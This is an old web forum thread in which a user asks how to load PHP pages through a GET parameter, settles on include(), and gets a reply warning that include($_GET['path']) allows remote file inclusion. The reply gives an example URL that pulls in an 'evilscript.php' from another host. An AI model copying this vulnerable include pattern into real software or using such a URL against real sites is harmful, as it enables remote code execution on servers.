Page 1 of 1

Loading External .php file

Posted: Mon Jul 19, 2010 12:56 pm
by roadkillguy
I'm trying to make a fairly dynamic website, and I was wondering how you could load an external .php web file with <?php ?> tags in it. I want to have one 'content' webpage, that can load other pages using the GET method. Can you do this?

Re: Loading External .php file

Posted: Mon Jul 19, 2010 1:07 pm
by roadkillguy
Haha wow... solved my own problem.
Include() will solve it just fine.

Thanks anyway

Re: Loading External .php file

Posted: Mon Jul 19, 2010 1:20 pm
by shawngoldw
be careful if you're getting the file names from GET variables.

Code: Select all

include($_GET['path']);
I can type in my address bar:
yoursite.com/page.php?path=mysite.com/evilscript.php


then you would be including my evilscript rather than the file you really wanted to.